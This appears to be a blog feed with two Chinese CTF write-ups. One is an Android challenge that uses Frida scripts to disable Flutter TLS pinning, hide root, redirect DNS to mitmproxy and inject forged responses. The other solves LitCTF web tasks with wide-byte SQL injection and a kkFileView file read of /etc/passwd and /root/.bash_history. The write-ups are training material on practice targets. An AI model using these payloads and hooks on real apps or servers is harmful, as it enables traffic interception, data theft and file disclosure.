            matches.forEach(match =&amp;gt; {
                var info = DebugSymbol.fromAddress(match.address)
                if(info.name){
                    console.log(`[+] ssl_verify_peer_cert found at offset: ${info.name || match.address}`);
                }else{

                    console.log(`[+] ssl_verify_peer_cert found at location: ${match.address}`);
                }
                TLSValidationDisabled = true;
                hook_ssl_verify_peer_cert(match.address.add(thumb));
                console.log(&apos;[+] ssl_verify_peer_cert has been patched&apos;)
    
            });
            if(matches.length &amp;gt; 1){
                console.log(&apos;[!] Multiple matches detected. This can have a negative impact and may crash the app. Please open a ticket&apos;)
            }
        });
        
    });
    
    // Try again. disableTLSValidation will not do anything if TLSValidationDisabled = true
    setTimeout(disableTLSValidation, timeout);
}

function isFlutterRange(range){
    if(androidBypass) return true;

    var address = range.base
    var info = DebugSymbol.fromAddress(address)
    if(info.moduleName != null){
        if(info.moduleName.toLowerCase().includes(&quot;flutter&quot;)){
            return true;
        }
    }
    return false;
}

// Replace the target function&apos;s implementation to effectively disable the TLS check
function hook_ssl_verify_peer_cert(address) {
    Interceptor.replace(address, new NativeCallback((pathPtr, flags) =&amp;gt; {
        return 0;
    }, &apos;int&apos;, [&apos;pointer&apos;, &apos;int&apos;]));
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS E:\ctf\8Ksec\FactsDroid.apk&amp;gt;  frida -U -W com.eightksec.factsdroid `
&amp;gt;&amp;gt;     -l E:\ctf\8Ksec\FactsDroid.apk\work\antiroot-channel.js `
&amp;gt;&amp;gt;     -l E:\ctf\8Ksec\FactsDroid.apk\work\disable-flutter-tls.js `
&amp;gt;&amp;gt;     --runtime=v8
     ____
    / _  |   Frida 17.8.0 - A world-class dynamic instrumentation toolkit
   | (_| |
    &amp;gt; _  |   Commands:
   /_/ |_|       help      -&amp;gt; Displays the help system
   . . . .       object?   -&amp;gt; Display information about &apos;object&apos;
   . . . .       exit/quit -&amp;gt; Exit
   . . . .
   . . . .   More info at https://frida.re/docs/home/
   . . . .
   . . . .   Connected to Android Emulator 5554 (id=emulator-5554)
Waiting for spawn to appear...
Handling: Spawn(pid=3215, identifier=&quot;com.eightksec.factsdroid&quot;)
[chan] antiroot-channel loading
[+] Pattern version: Jan 26 2026
[+] Arch: x64
[+] Platform:  linux
[ ] Locating Flutter library 1/5
Spawned `com.eightksec.factsdroid`. Resuming main thread!
[Android Emulator 5554::re.compile(&apos;com.eightksec.factsdroid&apos;) ]-&amp;gt; [chan] FlutterJNI.handlePlatformMessage hooked
[chan] root_check inbound (replyId=6)
[chan] replied isRooted=false
[ ] Locating Flutter library 2/5
[+] Flutter library located
[+] ssl_verify_peer_cert found at offset: 0x7c4c99
[+] ssl_verify_peer_cert has been patched
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;让App连接到我的Burp/mitmproxy&lt;/h1&gt;
&lt;p&gt;接下来要解决的是怎么让App连接到我的Burp/mitmproxy&lt;/p&gt;
&lt;p&gt;之前静态分析拿到的&lt;/p&gt;
&lt;p&gt;host: uselessfacts.jsph.pl&lt;/p&gt;
&lt;p&gt;path: /api/v2/facts/random&lt;/p&gt;
&lt;p&gt;后续只需要处理这个请求&lt;/p&gt;
&lt;p&gt;https://uselessfacts.jsph.pl/api/v2/facts/random&lt;/p&gt;
&lt;p&gt;然后把域名流量导向我的代理，因为 Flutter 的 dart:io HttpClient 不稳定依赖 Android 系统代理，所以报告里采用：/system/etc/hosts把：uselessfacts.jsph.pl解析到你的 Windows 主机 IP。&lt;/p&gt;
&lt;p&gt;这里用的是mitmproxy，先生成CA文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mitmdump --listen-port 38080 -q &amp;amp; sleep 5; kill $!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;启动一次 mitmproxy，监听 38080，-q 是安静模式。&lt;/p&gt;
&lt;p&gt;计算Android的证书名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HASH=$(openssl x509 -inform PEM -subject_hash_old -in ~/.mitmproxy/mitmproxy-ca-cert.pem -noout)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;复制成 Android 要求的名字&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cp ~/.mitmproxy/mitmproxy-ca-cert.pem /tmp/$HASH.0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;推送到手机/模拟器&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adb push /tmp/$HASH.0 /sdcard/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;复制到系统证书目录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adb shell &quot;su -c &apos;mount -o rw,remount /; 
cp /sdcard/$$HASH.0 /system/etc/security/cacerts/; 
chmod 644 /system/etc/security/cacerts/$$HASH.0&apos;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其实证书安装是为了兼容一下&lt;/p&gt;
&lt;p&gt;两个重要的脚本&lt;/p&gt;
&lt;p&gt;mitm-redirect.js 的作用是：让 App 的网络连接先走到你本机 mitmproxy&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
 * mitm-redirect.js — Selective MITM redirect for FactsDroid (Flutter app).
 *
 * Goal: route only `uselessfacts.jsph.pl` traffic through the local
 * mitmproxy reverse listener, leaving everything else (Google Fonts,
 * etc.) alone — and defeat Flutter&apos;s BoringSSL cert pinning.
 *
 * Mechanism:
 *   1. Hook getaddrinfo() and resolve `uselessfacts.jsph.pl` to MITM_HOST.
 *   2. Hook connect(); if the target == MITM_HOST and port == 443,
 *      rewrite the port to MITM_PORT.
 *   3. Load companion script disable-flutter-tls.js to neutralise the
 *      Flutter cert-pinning check.
 *
 * Constraint compliance:
 *   - We do not change any bytes the app *sends*. SNI, Host header, and
 *     request body are exactly what the app would have transmitted to
 *     the real backend; only the destination IP/port are rewritten so
 *     mitmproxy in reverse-mode can interpose.
 */

const TARGET_HOST = &quot;uselessfacts.jsph.pl&quot;;
const MITM_HOST   = &quot;192.168.124.18&quot;; // host where mitmdump listens
const MITM_PORT   = 443;              // mitmproxy reverse-mode port

function ipToBytes(ip) {
  return ip.split(&apos;.&apos;).map(b =&amp;gt; parseInt(b, 10) &amp;amp; 0xff);
}
const MITM_BYTES = ipToBytes(MITM_HOST);

function readSockaddrFamily(p) {
  try {
    if (!p || p.isNull()) return 0;
    const family = p.readU16();
    return (family === 2 || family === 10) ? family : 0;
  } catch (e) {
    return 0;
  }
}

function findAiAddr(ai) {
  // Android/Bionic and glibc place ai_addr/ai_canonname differently on
  // 64-bit builds. Pick the pointer that actually references a sockaddr.
  const candidates = Process.pointerSize === 8 ? [24, 32] : [20, 24];
  for (const off of candidates) {
    try {
      const p = ai.add(off).readPointer();
      const family = readSockaddrFamily(p);
      if (family !== 0) return { ptr: p, off: off, family: family };
    } catch (e) {}
  }
  return null;
}

function findExport(modName, sym) {
  // Frida 17 deprecates Module.findExportByName(null, sym).
  if (typeof Module.getGlobalExportByName === &apos;function&apos;) {
    try { return Module.getGlobalExportByName(sym); } catch (e) {}
  }
  if (modName) {
    try { return Module.getExportByName(modName, sym); } catch (e) {}
  }
  for (const m of Process.enumerateModules()) {
    try {
      const p = Module.getExportByName(m.name, sym);
      if (p &amp;amp;&amp;amp; !p.isNull()) return p;
    } catch (e) {}
  }
  return null;
}

// ----- 1. hook getaddrinfo to coerce DNS for the target host -----
function hookGetaddrinfo() {
  const gai = findExport(null, &apos;getaddrinfo&apos;);
  if (!gai) { console.log(&apos;[mitm] getaddrinfo not found&apos;); return; }

  Interceptor.attach(gai, {
    onEnter: function (args) {
      this.host = args[0].isNull() ? null : args[0].readUtf8String();
      this.res  = args[3];
    },
    onLeave: function (retval) {
      if (retval.toInt32() !== 0) return;
      if (!this.host || this.host !== TARGET_HOST) return;
      // Walk the addrinfo* linked list at *res, replace each sockaddr.
      let p = this.res.readPointer();
      while (!p.isNull()) {
        // struct addrinfo: int flags; int family; int socktype;
        //                  int protocol; socklen_t addrlen;
        //                  struct sockaddr *addr;
        //                  char *canonname;
        //                  struct addrinfo *next;
        const aiAddr = findAiAddr(p);
        const addrPtr = aiAddr ? aiAddr.ptr : ptr(0);
        const family = aiAddr ? aiAddr.family : p.add(4).readInt();
        // sockaddr_in: family(2) port(2) addr(4)
        if (family === 2 &amp;amp;&amp;amp; !addrPtr.isNull()) {
          // keep port; rewrite v4 address
          p.add(4).writeInt(2);
          for (let i = 0; i &amp;lt; 4; i++) addrPtr.add(4 + i).writeU8(MITM_BYTES[i]);
        } else if (family === 10 &amp;amp;&amp;amp; !addrPtr.isNull()) {
          // Convert IPv6 results into IPv4 sockaddr_in results. Keeping an
          // AF_INET6 family with an IPv4-mapped address can bypass the simple
          // IPv4 connect() rewrite and may not hit a Windows IPv4 listener.
          p.add(4).writeInt(2);      // ai_family = AF_INET
          p.add(16).writeU32(16);    // ai_addrlen = sizeof(sockaddr_in)
          addrPtr.writeU16(2);       // sockaddr.sa_family = AF_INET
          for (let i = 0; i &amp;lt; 4; i++) addrPtr.add(4 + i).writeU8(MITM_BYTES[i]);
        }
        p = p.add(Process.pointerSize === 8 ? 40 : 32).readPointer(); // ai_next offset
      }
      console.log(`[mitm] getaddrinfo(&quot;${this.host}&quot;) -&amp;gt; ${MITM_HOST}`);
    }
  });
  console.log(&apos;[mitm] getaddrinfo hook installed&apos;);
}

// ----- 2. hook connect to remap port 443 -&amp;gt; MITM_PORT for MITM_HOST -----
function hookConnectSymbol(sym) {
  const connectPtr = findExport(&apos;libc.so&apos;, sym);
  if (!connectPtr) return false;
  Interceptor.attach(connectPtr, {
    onEnter: function (args) {
      const sa = args[1];
      if (sa.isNull()) return;
      const family = sa.readU16();
      if (family === 2) {
        const port = ((sa.add(2).readU8() &amp;lt;&amp;lt; 8) | sa.add(3).readU8()) &amp;amp; 0xffff;
        const ip = `${sa.add(4).readU8()}.${sa.add(5).readU8()}.${sa.add(6).readU8()}.${sa.add(7).readU8()}`;
        if (port === 443) console.log(`[mitm] ${sym}() IPv4 ${ip}:${port}`);
        if (ip === MITM_HOST &amp;amp;&amp;amp; port === 443) {
          sa.add(2).writeU8((MITM_PORT &amp;gt;&amp;gt; 8) &amp;amp; 0xff);
          sa.add(3).writeU8(MITM_PORT &amp;amp; 0xff);
          console.log(`[mitm] ${sym}() ${ip}:443 -&amp;gt; ${MITM_HOST}:${MITM_PORT}`);
        }
      } else if (family === 10) {
        const port = ((sa.add(2).readU8() &amp;lt;&amp;lt; 8) | sa.add(3).readU8()) &amp;amp; 0xffff;
        if (port === 443) {
          const mapped =
            sa.add(8).readU8() === 0 &amp;amp;&amp;amp; sa.add(9).readU8() === 0 &amp;amp;&amp;amp;
            sa.add(10).readU8() === 0 &amp;amp;&amp;amp; sa.add(11).readU8() === 0 &amp;amp;&amp;amp;
            sa.add(12).readU8() === 0 &amp;amp;&amp;amp; sa.add(13).readU8() === 0 &amp;amp;&amp;amp;
            sa.add(14).readU8() === 0 &amp;amp;&amp;amp; sa.add(15).readU8() === 0 &amp;amp;&amp;amp;
            sa.add(16).readU8() === 0 &amp;amp;&amp;amp; sa.add(17).readU8() === 0 &amp;amp;&amp;amp;
            sa.add(18).readU8() === 0xff &amp;amp;&amp;amp; sa.add(19).readU8() === 0xff;
          if (mapped) {
            const ip = `${sa.add(20).readU8()}.${sa.add(21).readU8()}.${sa.add(22).readU8()}.${sa.add(23).readU8()}`;
            console.log(`[mitm] ${sym}() IPv6-mapped ${ip}:${port}`);
          } else {
            console.log(`[mitm] ${sym}() IPv6 port ${port}`);
          }
        }
      }
    }
  });
  console.log(`[mitm] ${sym} hook installed`);
  return true;
}

function hookConnect() {
  let hooked = false;
  [&apos;connect&apos;, &apos;__connect&apos;].forEach(sym =&amp;gt; {
    try { hooked = hookConnectSymbol(sym) || hooked; } catch (e) {}
  });
  if (!hooked) console.log(&apos;[mitm] connect not found&apos;);
}

setImmediate(() =&amp;gt; {
  try { hookGetaddrinfo(); } catch (e) { console.log(&apos;[mitm] gai hook err: &apos; + e); }
  try { hookConnect(); }     catch (e) { console.log(&apos;[mitm] conn hook err: &apos; + e); }
  try { hookRootDetection(); } catch (e) { console.log(&apos;[mitm] rd hook err: &apos; + e); }
  console.log(&apos;[mitm] redirect ready (target=&apos; + TARGET_HOST + &apos; -&amp;gt; &apos; + MITM_HOST + &apos;:&apos; + MITM_PORT + &apos;)&apos;);
});

// ----- 3. defeat root detection by hiding su / magisk artifacts -----
function hookRootDetection() {
  const SU_PATHS = [
    &apos;/system/bin/su&apos;, &apos;/system/xbin/su&apos;, &apos;/sbin/su&apos;, &apos;/su/bin/su&apos;,
    &apos;/system/app/Superuser.apk&apos;, &apos;/system/etc/init.d/99SuperSUDaemon&apos;,
    &apos;/system/xbin/busybox&apos;, &apos;/system/bin/busybox&apos;,
    &apos;/sbin/.magisk&apos;, &apos;/sbin/magisk&apos;, &apos;/data/adb/magisk&apos;,
    &apos;/dev/.magisk.unblock&apos;, &apos;/dev/com.koushikdutta.superuser.daemon&apos;,
  ];
  const isSuPath = (p) =&amp;gt; p &amp;amp;&amp;amp; SU_PATHS.includes(p);

  function wrap(name, idx) {
    const fn = findExport(null, name);
    if (!fn) return;
    Interceptor.attach(fn, {
      onEnter: function (args) {
        try {
          const p = args[idx].readUtf8String();
          this.faked = isSuPath(p);
          if (this.faked) console.log(`[antiroot] ${name}(&quot;${p}&quot;) -&amp;gt; ENOENT`);
        } catch (e) {}
      },
      onLeave: function (retval) {
        if (this.faked) {
          retval.replace(ptr(-1));
        }
      }
    });
  }
  [&apos;access&apos;, &apos;stat&apos;, &apos;lstat&apos;, &apos;fstatat&apos;, &apos;open&apos;, &apos;openat&apos;, &apos;faccessat&apos;].forEach(n =&amp;gt; {
    try { wrap(n, n.includes(&apos;at&apos;) &amp;amp;&amp;amp; n !== &apos;fstatat&apos; ? 1 : 0); } catch (e) {}
  });

  // also fake `which su` / shell-based checks: make Process_Start return failure
  // for command lines containing &quot;su&quot; — only if we observe them.
  const cmdHook = findExport(null, &apos;system&apos;);
  if (cmdHook) {
    Interceptor.attach(cmdHook, {
      onEnter: function (args) {
        try {
          const cmd = args[0].readUtf8String();
          if (cmd &amp;amp;&amp;amp; /\bsu\b|magisk|busybox/.test(cmd)) {
            this.faked = true;
            console.log(`[antiroot] system(&quot;${cmd}&quot;) -&amp;gt; 1`);
          }
        } catch (e) {}
      },
      onLeave: function (retval) {
        if (this.faked) retval.replace(ptr(1));
      }
    });
  }
  console.log(&apos;[antiroot] file/exec hooks installed&apos;);
}

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;它在 App 进程里用 Frida hook 两个 native 网络函数：

  getaddrinfo()
  connect()

  具体做三件事：

  1. 看到 App 解析：

  uselessfacts.jsph.pl

  就把解析结果改成：

  192.168.124.18

  也就是你的 Windows 主机 IP。

  2. 看到 App 准备连接：

  192.168.124.18:443

  就确认这个连接是要走 mitmproxy。

  3. 修正 Android addrinfo / IPv6 情况，保证 App 不会绕过重定向继续连真实服务器 IP。

  所以它解决的是：

  App 原本 -&amp;gt; uselessfacts.jsph.pl:443
  改成
  App -&amp;gt; 你的电脑 mitmproxy:443
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;tamper.py 是 mitmproxy 的插件脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;&quot;&quot;
mitmproxy addon — tamper FactsDroid responses only.

Constraints from the challenge:
  * Do NOT modify the request that the app sends to the backend.
  * The backend (uselessfacts.jsph.pl) is out of scope; only the response
    flowing back to the app may be altered.

Strategy:
  * `request()` hook: read-only — just snapshot the request and prove we
    never touch it.  No mutations of method/path/headers/body.
  * `response()` hook: rewrite the JSON body so the app prints
    attacker-controlled content.  The genuine fact never reaches the app.
&quot;&quot;&quot;
import hashlib
import json
from itertools import cycle
from mitmproxy import http, ctx

# A rotating selection of injected payloads.
INJECTED_FACTS = [
    &quot;[MITM] PWNED by Claude. This fact was injected on the wire — the real backend never sent it.&quot;,
    &quot;[MITM] If you can read this in FactsDroid, the response was tampered before delivery.&quot;,
    &quot;[MITM] The real fact was suppressed. You are seeing arbitrary attacker content.&quot;,
    &quot;[MITM] Network-layer compromise: backend → mitmproxy → FactsDroid (rewrite).&quot;,
]
_facts_iter = cycle(INJECTED_FACTS)

def _request_fingerprint(req: http.Request) -&amp;gt; str:
    &quot;&quot;&quot;Build a stable fingerprint over every part of the HTTP request.
    If we touch anything between app→mitm and mitm→upstream, this hash
    will change and the proof breaks.&quot;&quot;&quot;
    h = hashlib.sha256()
    h.update(req.method.encode())
    h.update(b&quot;\x00&quot;)
    h.update(req.path.encode())
    h.update(b&quot;\x00&quot;)
    # Headers, sorted to be stable across mitmproxy&apos;s internal reordering.
    for k, v in sorted(req.headers.items(True)):
        h.update(k.encode().lower())
        h.update(b&quot;:&quot;)
        h.update(v.encode())
        h.update(b&quot;\n&quot;)
    h.update(b&quot;\x00&quot;)
    h.update(req.raw_content or b&quot;&quot;)
    return h.hexdigest()[:16]

def request(flow: http.HTTPFlow) -&amp;gt; None:
    &quot;&quot;&quot;READ-ONLY. Logs request fingerprint then returns; no mutation.&quot;&quot;&quot;
    if flow.request.host != &quot;uselessfacts.jsph.pl&quot;:
        return
    if &quot;/api/v2/facts/random&quot; not in flow.request.path:
        return

    fp = _request_fingerprint(flow.request)
    flow.metadata[&quot;fp_in&quot;] = fp
    ctx.log.info(
        f&quot;[passthrough] app -&amp;gt; mitm: {flow.request.method} &quot;
        f&quot;{flow.request.path} headers={dict(flow.request.headers)} &quot;
        f&quot;body_len={len(flow.request.raw_content or b&apos;&apos;)} fp={fp}&quot;
    )

def requestheaders(flow: http.HTTPFlow) -&amp;gt; None:
    pass

def response(flow: http.HTTPFlow) -&amp;gt; None:
    if flow.request.host != &quot;uselessfacts.jsph.pl&quot;:
        return
    if &quot;/api/v2/facts/random&quot; not in flow.request.path:
        return

    # Re-fingerprint the request *now*, after mitmproxy has emitted it
    # upstream. If we never modified it, the hash equals the one we took
    # in request() — so backend received the same request the app sent.
    fp_now = _request_fingerprint(flow.request)
    fp_in = flow.metadata.get(&quot;fp_in&quot;, &quot;&amp;lt;missing&amp;gt;&quot;)
    same = &quot;MATCH&quot; if fp_now == fp_in else &quot;DIVERGED&quot;
    ctx.log.info(
        f&quot;[passthrough] mitm -&amp;gt; backend: fp_in={fp_in} fp_out={fp_now} {same}&quot;
    )

    try:
        body = json.loads(flow.response.get_text() or &quot;{}&quot;)
    except Exception as exc:
        ctx.log.warn(f&quot;[tamper] response not JSON: {exc}&quot;)
        return

    original = body.get(&quot;text&quot;, &quot;&amp;lt;no text&amp;gt;&quot;)
    body[&quot;text&quot;] = next(_facts_iter)
    body[&quot;source&quot;] = &quot;claude-mitm&quot;
    body[&quot;source_url&quot;] = &quot;https://attacker.local/injected&quot;
    body[&quot;language&quot;] = &quot;en&quot;
    body[&quot;permalink&quot;] = &quot;https://attacker.local/injected&quot;

    flow.response.set_text(json.dumps(body))
    flow.response.headers[&quot;content-type&quot;] = &quot;application/json; charset=utf-8&quot;
    if &quot;content-length&quot; in flow.response.headers:
        del flow.response.headers[&quot;content-length&quot;]

    ctx.log.info(f&quot;[tamper] suppressed real fact: {original!r}&quot;)
    ctx.log.info(f&quot;[tamper] delivered injected fact: {body[&apos;text&apos;]!r}&quot;)

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;mitmproxy 收到 App 请求后，它做两件事：

  1. request(flow)

  只记录请求，不修改请求。

  它会计算请求指纹：

  fp = _request_fingerprint(flow.request)

  作用是证明：

  App 发出的请求
  和
  mitmproxy 转发给后端的请求
  是一致的
  
  所以日志里会出现：

  MATCH

  这符合挑战限制：不能攻击后端，不能篡改请求。

  2. response(flow)

  只修改后端返回给 App 的响应。

  它把真实返回的 JSON 解析出来：

  body = json.loads(flow.response.get_text() or &quot;{}&quot;)

  然后改掉里面的 text 字段：

  body[&quot;text&quot;] = next(_facts_iter)

  也就是把原本的 fact 换成：

  [MITM] ...

  最后重新写回响应：

  flow.response.set_text(json.dumps(body))

  所以它解决的是：

  后端真实响应 -&amp;gt; mitmproxy 修改 text 字段 -&amp;gt; App 显示假内容
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最终效果&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-13.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-14.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;网址：https://academy.8ksec.io/path-player?courseid=android-application-exploitation-challenges&amp;amp;unit=681ad36a3585c25a8c0661daUnit&lt;/p&gt;
</content:encoded></item><item><title>LitCTF 2026 Hnusec1 战队 wp</title><link>https://blog-5w0.pages.dev/posts/litctf-2026/</link><guid isPermaLink="true">https://blog-5w0.pages.dev/posts/litctf-2026/</guid><description>LitCTF 2026 Web / Pwn / Reverse / Crypto / Misc 部分题解,队伍 Hnusec1 排名第 8。</description><pubDate>Mon, 01 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;队伍名称：Hnusec1&lt;/p&gt;
&lt;p&gt;成员用户名：weixiao cinco J4toPos&lt;/p&gt;
&lt;p&gt;队伍排名：8&lt;/p&gt;
&lt;h1&gt;web&lt;/h1&gt;
&lt;h2&gt;lit_ezsql&lt;/h2&gt;
&lt;p&gt;进入后是一个查询页面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-01.png&quot; alt=&quot;Figure 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们正常输入id=1，回显一行五列结果&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-02.png&quot; alt=&quot;Figure 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;首先是尝试了常规的 &quot; &apos; \ 但都没有触发报错，这里我们换一个思路&lt;/p&gt;
&lt;p&gt;尝试一下宽字节注入，出现报错&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;id=1%df%27
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个payload就相当于 宽字节前缀 + 单引号，在 GBK 编码下 会被数据库解释成一个合法的宽字节字符&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-03.png&quot; alt=&quot;Figure 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;继续测试&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?id=1%df%27 or 1=1%23
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-04.png&quot; alt=&quot;Figure 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;返回了两行数据，说明注入确认成功。&lt;/p&gt;
&lt;p&gt;由于正常查询结果中页面回显了五个字段，因此可以直接尝试五列联合查询。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?id=-1%df&apos; union select 1,2,3,4,5%23
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注入成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-05.png&quot; alt=&quot;Figure 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查数据库&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?id=-1%df&apos; union select 1,database(),3,4,5%23
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ezsql
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查表名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?id=-1%df&apos; union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()%23
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;users,flag_store
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查列名，注意这里要用十六进制绕过引号&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?id=-1%df&apos; union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=0x666c61675f73746f7265%23
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;id,flag
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后读flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?id=-1%df&apos; union select 1,flag,3,4,5 from flag_store%23
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-06.png&quot; alt=&quot;Figure 6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{stlqpk43-cxn2-4vp-8dve-9vdtmpqho6ndq}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Northbridge Document Hub&lt;/h2&gt;
&lt;p&gt;进入后是一个登录界面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-07.png&quot; alt=&quot;Figure 7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看前端源码，发现会加载 assets/js/portal.js&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-08.png&quot; alt=&quot;Figure 8&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看一下这个js&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(function () {
    var bootstrap = {
        release: &quot;2026.03.01-r12&quot;,
        region: &quot;cn-sh2&quot;,
        auth: {
            mode: &quot;legacy-fallback&quot;,
            // researcher:Research#2026
            seed: &quot;cmVzZWFyY2hlcjpSZXNlYXJjaCMyMDI2&quot;
        },
        fileGateway: {
            path: &quot;/kkfileview/getCorsFile&quot;,
            queryKey: &quot;urlPath&quot;,
            node: &quot;legacy-parse-02&quot;
        }
    };

    window.NorthbridgePortal = {
        config: bootstrap,
        decodeLegacyCredential: function () {
            try {
                return atob(bootstrap.auth.seed);
            } catch (e) {
                return &quot;&quot;;
            }
        }
    };

    var form = document.querySelector(&quot;form[data-auth=&apos;portal&apos;]&quot;);
    if (form) {
        form.addEventListener(&quot;submit&quot;, function () {
            form.classList.add(&quot;is-submitting&quot;);
        });
    }
})();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有一个base64&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cmVzZWFyY2hlcjpSZXNlYXJjaCMyMDI2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-09.png&quot; alt=&quot;Figure 9&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以拿到密码去登录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;researcher
Research#2026
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登录后进入&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-10.png&quot; alt=&quot;Figure 10&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里检索一下有没有 kkFileView 的 cve&lt;/p&gt;
&lt;p&gt;这里有一个 CVE-2021-43734&lt;/p&gt;
&lt;p&gt;https://blog.csdn.net/weixin_44304678/article/details/134320057&lt;/p&gt;
&lt;p&gt;可以构造poc&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/kkfileview/getCorsFile?urlPath=file:///etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是如果直接发会失败，说明设了一个简单的waf&lt;/p&gt;
&lt;p&gt;根据源码猜测可能是要base64编码绕过，尝试进行一下编码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;file:///etc/passwd
ZmlsZTovLy9ldGMvcGFzc3dk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-11.png&quot; alt=&quot;Figure 11&quot; /&gt;&lt;/p&gt;
&lt;p&gt;实现绕过，可以任意文件读取&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-12.png&quot; alt=&quot;Figure 12&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里我们去读的是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/root/.bash_history
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ZmlsZTovLy9yb290Ly5iYXNoX2hpc3Rvcnk=
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /opt/kkfileview/bin
./startup.sh --cache.dir=/opt/kkfileview/cache/parsed
java -jar kkFileView.jar --cache.dir=/opt/kkfileview/cache/parsed --forceUpdatedCache=true
cp /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip /tmp/q1_finance_report_2026.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们直接去读&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/opt/kkfileview/cache/parsed/q1_finance_report_2026.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解压后拿到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-13.png&quot; alt=&quot;Figure 13&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{fic9nvxj-lyyc-4zq-8iv6-rbjnqwyfjbbre}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;华辰企业服务运营平台&lt;/h2&gt;
&lt;p&gt;进入后是一个运营平台，进入系统需要登录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-14.png&quot; alt=&quot;Figure 14&quot; /&gt;&lt;/p&gt;
&lt;p&gt;dirsearch扫一下，可以发现有一个 /actuator&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-15.png&quot; alt=&quot;Figure 15&quot; /&gt;&lt;/p&gt;
